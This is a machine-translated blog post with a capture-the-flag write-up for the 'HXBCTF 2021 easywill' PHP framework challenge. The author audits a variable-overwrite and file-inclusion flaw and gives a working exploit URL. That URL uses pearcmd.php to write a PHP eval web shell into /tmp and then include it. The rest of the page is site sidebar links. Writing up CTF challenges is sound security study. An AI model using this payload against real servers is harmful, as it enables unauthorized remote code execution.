当前位置:网站首页>[HXBCTF 2021]easywill
[HXBCTF 2021]easywill
2022-06-12 12:36:00 【Arnoldqqq】

This question index The code given on is very short , You need to download the framework source code , Self revision audit . I didn't find it. 2.1.5 Source code , Next up to date . I saw this question during the competition assign The function thought it was a template injection. The function thought it would explode the template variable name, so it didn't adjust it . I'm not familiar with debugging , Subconsciously, I don't want to audit the function calls of the framework
Let's start the audit , modify app/controller/IndexController.php The content of is consistent with that given in the title

Track first assign function


assign It's just a function of assignment Pass to view among

Look again view function




You can see that there are variable overrides and that the file contains
Turn on debug You can see the function call stack , The test parameters here are &name=cfile&value=1

write in shell To tmp Catalog , Why does this include pearcmd.php The reason for this is detailed in : utilize pearcmd.php from LFI To getshell_feng The blog of -CSDN Blog

/?name=cfile&value=/usr/local/lib/php/pearcmd.php&+-c+/tmp/test2.php+-d+man_dir=<?eval($_POST[0]);?>+-s+
Remember to use burp If the browser calls directly <> Will be url code , If you write a horse, you won't analyze it


边栏推荐
- Native JS implements the copy text function
- win7注册进程外组件, 服务, 以及COM组件调试
- 元宇宙是短炒,还是未来趋势?
- C语言进阶篇——深度解剖数据在内存中的存储(配练习)
- What can LDAP and SSO integration achieve?
- [译] Go References - The Go Memory Model | golang官方文档中文翻译之内存模型
- 你不会只会用console.log()吧?
- Macro compilation preprocessing header Win32_ LEAN_ AND_ MEAN
- NewOJ Week 10题解
- 2021-11-16
猜你喜欢

Take the web page animation effects that can be used. Don't you come and have a look?

Advanced C language -- storage of deep anatomical data in memory (with exercise)

Promise+ handwritten promise

itk::SymmetricForcesDemonsRegistrationFilter

Lightweight ---project

Advanced chapter of C language -- ten thousand words explanation pointer and qsort function

JS how to convert a string into an array object

SEO optimization of web pages

Numpy数值计算基础

Redis的主从复制原理
随机推荐
[JS] some handwriting functions: deep copy, bind, debounce, etc
[转]placement new
回溯法, 八皇后
牛顿法解多项式的根
配准后图像对比函数itk::CheckerBoardImageFilter
二叉树(序列化篇)
Time series database - incluxdb2 docker installation
Autolock solves the problem of forgetting to unlock after locking
Take the web page animation effects that can be used. Don't you come and have a look?
imx6-uboot添加lvds1显示
二叉树(构造篇)
Deep analysis of advanced pointer -- advanced chapter of C language
Iterator, generator generator details
NewOJ Week 10题解
检测vector是否有交集
itk neighbhood
itk::Neighborhood获取6邻域、18邻域、26邻域,18/6邻域,26/18邻域
A short guide to SSH port forwarding
Object value taking method in JS And []
2021-11-16